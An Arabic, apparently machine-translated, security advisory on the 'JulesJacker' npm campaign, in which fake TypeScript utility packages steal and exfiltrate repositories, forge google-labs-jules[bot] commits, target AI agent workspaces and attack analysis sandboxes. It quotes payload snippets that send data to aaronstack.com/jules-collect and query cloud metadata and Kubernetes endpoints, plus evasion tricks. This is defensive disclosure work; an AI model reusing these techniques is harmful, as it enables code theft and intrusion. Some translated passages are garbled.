TL؛ DR
قام أحد مشغلي npm بنشر حزم "أدوات" وهمية مكتوبة بلغة TypeScript مثل: ts-form-utils, ts-project-lintو ts-enum-helper.
بينما تكشف الحزم عن أدوات مساعدة صغيرة تبدو شرعية للتحقق من الصحة، فإن الحمولة الحقيقية يتم تنفيذها عند التثبيت أو عند الطلب الأول وتقوم ببصمة المضيف، واكتشاف مؤسسة GitHub، واستنساخ المستودع، وتسريب التعليمات البرمجية المصدرية.
يستهدف البرنامج الخبيث على وجه التحديد مؤسسات GitHub ذات القيمة العالية، بما في ذلك العديد منها. شوبيفاي المستودعات، ثم الأرشيفات، ثم عمليات استخراج أشجار المصدر التي يمكن الوصول إليها إلى نقطة نهاية تجميع مركزية.
كجزء من عملية التسوية، الحمولة commitيتم إعادة ملف sa إلى مستودعات الضحايا مع انتحال هوية البرمجة المستقلة لشركة جوجل google-labs-jules[bot].
لقد تتبعنا الحملة - التي تحمل اسم جولز جاكر — عبر نطاقات ناشرين متعددة وخمسة أجيال من الحمولة على الأقل، بما في ذلك المتغيرات المشفرة والمدركة للبيئة المعزولة.
يستهدف أحدث إصدار على وجه التحديد البنية التحتية لتحليل البرامج الضارة: فهو لا ينشط إلا داخل بيئات التحليل، ويسرق رموز حساب خدمة البيانات الوصفية السحابية، ويفحص لوحات تحكم Kubernetes ومجموعات التخزين السحابية.
نقطة نهاية التجميع هي نقطة الاختراق الرئيسية المشتركة بين جميع أجيال الحمولة aaronstack[.]com/jules-collect.
الخطورة: حرجة.
الهجوم: كيف يعمل
تتبع جميع حزم JulesJacker نفس القالب. package.json يُعلن عن أداة مساعدة بسيطة للغة TypeScript مرخصة بموجب ترخيص MIT ولا تحتوي على مستودع مصدر مرتبط. index.js يُصدّر هذا البرنامج مجموعة من الوظائف الحقيقية والفعّالة - مثل تعابير البريد الإلكتروني النمطية، وخرائط التعداد، وجداول قواعد التدقيق اللغوي - بحيث يرى المطور الذي يستورد الحزمة سلوكًا منطقيًا. أما المشكلة الحقيقية فتكمن في مكان آخر: في... بعد التثبيت خطاف، أو في كتلة في أسفل index.js يتم تنفيذ ذلك في اللحظة التي يُطلب فيها وجود الوحدة.
تطورت الحمولات عبر مراحل داخلية مرقمة بوضوح (يقوم المشغل بتسمية أحداث القياس عن بُعد الخاصة به). sc1-, sc3-, sc4-وهكذا)، ومشاهدة هذا التطور هي أوضح طريقة لفهم الحملة.
الجيل 1-2: الاستطلاع وسرقة إعدادات Git
كانت الحزم الأولى عبارة عن برامج سرقة معلومات مباشرة. عند التثبيت، كانت تجمع متغيرات البيئة، وملف مضيفي GitHub CLI، وإعدادات git العامة (git config –global –list, git remote -vثم أرسل الحزمة إلى نقطة نهاية المجموعة باستخدام طلب POST. وقد أثبت هذا توقيع المشغل: قصة غطاء "أدوات التحقق من صحة نماذج TypeScript"، ومنارة صادرة إلى نطاق واحد، وميل إلى بيانات اعتماد المطور بدلاً من بيانات المستهلك.
الجيل الثالث: محاولات الهروب من المشرف ونواة النظام
تحوّلت إحدى نسخ منتصف الحملة بشكل جذري إلى هجمات على البنية التحتية. فبدلاً من سرقة الإعدادات، قامت بتشغيل أداة استطلاع تقوم بالتجسس. AF_VSOCK المقابس، مناطق virtio MMIO، / ديف / memوعلامات تقوية النواة، وحتى محاولات تعطيل النواة التي يتم تشغيلها بواسطة sysrq - وهو سلوك مرتبط بمحاولات الخروج من جهاز افتراضي أو حاوية. علامات القياس عن بُعد (s0-vmm-recon, s1-vmm-vsock-fuzz, s2-vmm-mmio, s3-kernel-probeأوضحت ) النية صراحةً. كان هذا المتغير موجهاً بوضوح إلى بيئات الاختبار السحابي وبيئات التشغيل بدون خادم — نوع من الآلات الافتراضية المؤقتة التي تقوم ببناء واختبار التعليمات البرمجية غير الموثوقة.
الجيل الثالث (SC3): دودة الكتابة عبر المستودعات
أصبح مركز ثقل الحملة عبارة عن برنامج خبيث يتكاثر ذاتيًا ويسرق البيانات. عند التثبيت، يقوم البرنامج الخبيث بتشغيل تسلسل زمني من خمس مراحل:
- المرحلة رقم 0 (~100 مللي ثانية): تحديد بصمة المضيف - اسم المضيف، معلومات المستخدم، هوية git.
- المرحلة رقم 1 (حوالي 3 ثوانٍ): تحديد المنظمة التي ينتمي إليها الضحية من خلال الفحص git remote -vثم ابحث عن رمز ثابت ORG_CONFIG الوصول إلى الجدول ومستودع الاختبار مع git ls-remote — يتم توجيهها عبر وكيل SSRF الذي يتحكم فيه المهاجم في http://git@192.168.0.1:8080.
- المرحلة رقم 2 (~10 ثوانٍ): استنساخ جيت كل مستودع يمكن الوصول إليه في قائمة الأهداف، قم بضغط الشجرة باستخدام tarball و gzip، ثم قم بتشفيرها باستخدام base64، وقم باستخراجها من الأجزاء.
- المرحلة رقم 3 (حوالي 45 ثانية): "إثبات الوصول" - استنساخ مستودع قابل للكتابة، وإسقاط ملف باسم SECURITY-POC.md، و commit it مع تعيين المؤلف إلى google-labs-jules[bot] <161369871+google-labs-jules[bot]@users.noreply.github.com> ومهمة الرسالة: تحديث ذاكرة التخزين المؤقت للتبعيات، ثم الدفع إلى الفرع الرئيسي للضحية.
قائمة الأهداف المضمنة في الكود ليست عامة. فهي تضم أكثر من ثلاثين هدفًا. شوبيفاي المستودعات حسب الاسم — Shopify/shopify, Shopify/الهوية, Shopify/الفواتير, Shopify/vault, Shopify/secrets, Shopify/البنية التحتية, Shopify/.githubوغيرها الكثير - إلى جانب منظمة اختبار، آرون ستاك بارنز، الذي يبدو أن المشغل يتحكم فيه ويستخدمه كهدف للكتابة.
الجيل الرابع (SC4): مشفر ومقيد
يضيف الإصدار الأحدث الموجه للمطورين طبقتين من التهرب فوق دودة SC3.
أولاً، لم تعد البيانات تُرسل كنص عادي. بل يكمن المنطق الحقيقي في كتلة مشفرة باستخدام خوارزمية AES-256-CBC. lib/.perf.dat، مع وجود متجه التهيئة (IV) في أول ستة عشر بايتًا منه. المحمل في index.js يعيد بناء مفتاح فك التشفير من أجزاء السلسلة المتسلسلة، ويفك تشفير البيانات الثنائية الكبيرة، ويشغلها باستخدام دالة جديدة()حتى أسماء الوحدات النمطية مقسمة لتجنب الماسحات الضوئية الثابتة — require('crypt' + 'o'), يتطلب('f' + 's').
ثانيًا، يعتمد على المضيف. أحد المتغيرات لا يقوم بفك التشفير والتشغيل إلا عند os.hostname() يساوي صندوق التطوير or ubuntu-fc-uvm (إعداد افتراضي في Firecracker microVM) أو يحتوي على السلسلة الفرعية صندوق التطويربوابة أخرى تعتمد على وجود .jules/ عمل اخراجي:
javascript // only fires when a Jules agent workspace is present post('sc4-jules-dir', { cwd: cwd, jules_cwd: readDir(cwd + '/.jules'), jules_app: readDir('/app/.jules') }); بمعنى آخر، تم تصميم حمولة SC4 لتبقى خاملة على حاسوب محمول لمطور عادي، ولا تستيقظ إلا داخل وكيل الذكاء الاصطناعي الآلي و بيئات رمل المشغل يريد في الواقع التوصل إلى حل وسط.
تشغيل المختبر: نسخة البنية التحتية للتحليل
الحزمة الأكثر ابتكاراً في الحملة، ts-enum-helperلا يهاجم المطورين أو Shopify على الإطلاق. postinstall.sh يبدأ ببوابة تكشف اللعبة:
sh # Only run in malysis GKE environment [ -z "$MALYSIS_ANALYSIS_ID" ] && exit 0 EXFIL="https://aaronstack.com/jules-collect" MD="http://metadata.google.internal/computeMetadata/v1" K8S="https://kubernetes.default.svc" لا يقوم البرنامج النصي بأي شيء ما لم يتم ضبط متغير بيئي خاص بمنصة تحليل البرمجيات الخبيثة. عندئذٍ، يعرف البرنامج الخبيث أنه يعمل داخل بيئة معزولة مصممة لتفجير ودراسة حزم برمجية مماثلة تمامًا، فيشن هجومًا مضادًا.
يقوم أولاً بسحب رمز OAuth الخاص بحساب خدمة GCP من خادم بيانات تعريف المثيل واستخراجه. ثم، باستخدام هذا الرمز، يقوم بمسح مستوى التحكم في Kubernetes يمكن الوصول إليه في kubernetes.default.svc:
- يعرض قوائم ClusterRoleBindings و ClusterRoles و Nodes؛
- يفحص وحدات pods والأسرار وخرائط التكوين عبر نظام kube, الافتراضي, kube-public, عقد kubeومساحة اسم التحليل؛
- تُصدر استدعاءات SelfSubjectAccessReview لتحديد ما يُسمح للهوية المسروقة بفعله بالضبط.
وأخيرًا، يقوم البرنامج بتجربة جميع الاحتمالات الممكنة لأسماء حاويات التخزين السحابي من جوجل، والتي تم إنشاؤها من معرّف مشروع GCP مُضمّن في الكود (rare-signer-437603-p9) ورقم المشروع، وتخمين تركيبات مثل *-يبني, *-القطع الأثرية، وعدة ماليسي- البادئات (نتائج التحليل, حزم التحليل, malysis-scansيتم تسجيل كل رمز استجابة ونص الاستجابة وإرساله مرة أخرى إلى نفس العنوان. مجموعة جولز نقطة النهاية.
هذه حالة نادرة لحمولة برمجية خبيثة مصممة خصيصًا لمهاجمة البنية التحتية للمدافعين أنفسهم. وتتلخص القصة التي تُروى في الحملة بأكملها - والتي تظهر أجزاء منها داخل الحمولة البرمجية على شكل تعليقات تُصوّر السلوك على أنه "إثبات مفهوم لأبحاث الأمن... كتابة عبر مستودعات متعددة باستخدام رمز وكيل Git ذي نطاق واسع" - في نفس التبرير الذاتي، سواء كان الهدف في وقت التشغيل مستودع Shopify أحادي أو خادم البيانات الوصفية لمجموعة التحليل.
الجدول الزمني ونطاق الهجرة
إن برنامج JulesJacker ليس عملية إسقاط لمرة واحدة. بل هو عملية مستمرة نجحت في تجاوز محاولة إغلاقه من قبل سجل البرامج بمجرد تغيير اسمه.
| متى | الحدث/الفعالية |
|---|---|
| منتصف أبريل 2026 | تظهر الحزم الأولى ضمن نطاق الناشر الأصلي: واجهة TS-utility، والبيئة، وتسريب git-config. |
| أوائل مايو 2026 | تم نشر نسخة استطلاعية من برنامج إدارة الأجهزة الافتراضية وبرنامج الهروب من النواة. |
| منتصف إلى أواخر مايو 2026 | يظهر برنامج SC3 الخبيث للكتابة عبر المستودعات جنبًا إلى جنب مع حمولات تستهدف Shopify و google-labs-jules[bot] انتحال الهوية. يقدم SC4 أدوات تحميل مشفرة بتقنية AES ومقيدة بالخادم المضيف. |
| أواخر مايو 2026 | يقوم npm بإزالة نطاق الناشر الأصلي؛ وتُحل أسماء الحزم إلى عناصر نائبة فارغة لحفظ الأمان. |
| نفس الاسبوع | ينتقل المشغل إلى نطاق مشابه تمامًا ويعيد نشر الدودة، بما في ذلك متغير البنية التحتية للتحليل. |
إنّ عملية الانتقال هي الجزء الذي يجب على المدافعين استيعابه. لم يؤدِّ تعطيل النطاق الأول إلى إنهاء الحملة أو حتى إبطائها. كان المشغل قد أنشأ بالفعل نطاقًا موازيًا يختلف اسمه عن الأصلي بحرف واحد، واستمر في النشر خلال الأسبوع نفسه. وحتى وقت كتابة هذا التقرير، فإن النطاق الجديد ts-form-utils (الإصدارات من 1.0.0 إلى 1.1.0)، ts-project-lint (1.0.0 و 1.1.0)، والنسخة المستقلة ts-enum-helper (1.0.0) لا يزال قابلاً للتثبيت.
مؤشرات التسوية
تم تأكيد جميع المؤشرات أدناه من خلال مصدر الحزمة.
| النوع | مؤشر | ملاحظة |
|---|---|---|
| الشبكة (C2) | aaronstack[.]com/jules-collect | نقطة نهاية واحدة للتجميع عبر كل جيل؛ تستقبل بيانات القياس عن بعد بتنسيق JSON وأجزاء من ملفات tarball الخاصة بالمستودع بتنسيق base64-gzip. |
| الشبكة (وكيل SSRF) | http://git@192.168.0.1:8080 | واجهة لرمز وكيل Git ذي نطاق واسع يستخدم للوصول إلى مستودعات المؤسسة المستهدفة. |
| الشبكة (السحابة) | metadata.google.internal/computeMetadata/v1kubernetes.default.svcstorage.googleapis.com/storage/v1/b | يستخدم فقط بواسطة متغير البنية التحتية للتحليل لسرقة الرموز واستطلاع مستوى التحكم في Kubernetes. |
| الهوية | google-labs-jules[bot]161369871+google-labs-jules[bot]@users.noreply.github.com | مزور commit تم إدخال هوية المؤلف في الفروع الرئيسية للضحية. |
| قم بتقديم | lib/.perf.dat | كتلة بيانات مشفرة باستخدام AES-256-CBC؛ يتم تخزين متجه التهيئة (IV) في أول 16 بايت ويتم إعادة بناء المفتاح ديناميكيًا في index.js. |
| قم بتقديم | SECURITY-POC.md | تم إسقاطها و commitتمت إعادة توجيهها إلى مستودعات الضحايا مع الرسالة chore: update dependency cache. |
| قم بتقديم | scripts/postinstall.sh | بوابة $MALYSIS_ANALYSIS_ID; يحدد المتغير الذي يستهدف البنية التحتية للتحليل. |
| السلوكية | os.hostname() يتحقق ل devbox / ubuntu-fc-uvm | وضع بوابات لبيئة الحماية وبيئة الذكاء الاصطناعي قبل فك تشفير الحمولة وتنفيذها. |
| السلوكية | .jules/ و /app/.jules قراءة الدليل | استهداف صريح لبيئات عمل وكلاء الذكاء الاصطناعي. |
| السلوكية | sc1-, sc3-, sc4-, s0-vmm-recon | تسميات مراحل القياس عن بعد التي يحددها المشغل مفيدة للكشف والمطاردة. |
| هدف السحابة | rare-signer-437603-p9malysis-* تخمينات الدلو | تم تضمين معرّفات مشاريع GCP الثابتة وأنماط تعداد حاويات التخزين في متغير البنية التحتية للتحليل. |
| شكل الحزمة | واجهة حزمة أدوات TS بدون حقل مستودع | نموذج حملة متسق: حزم أدوات TypeScript مزيفة تحتوي على حمولات خبيثة مضمنة فيها postinstall hooks أو ملحقة بـ index.js. |




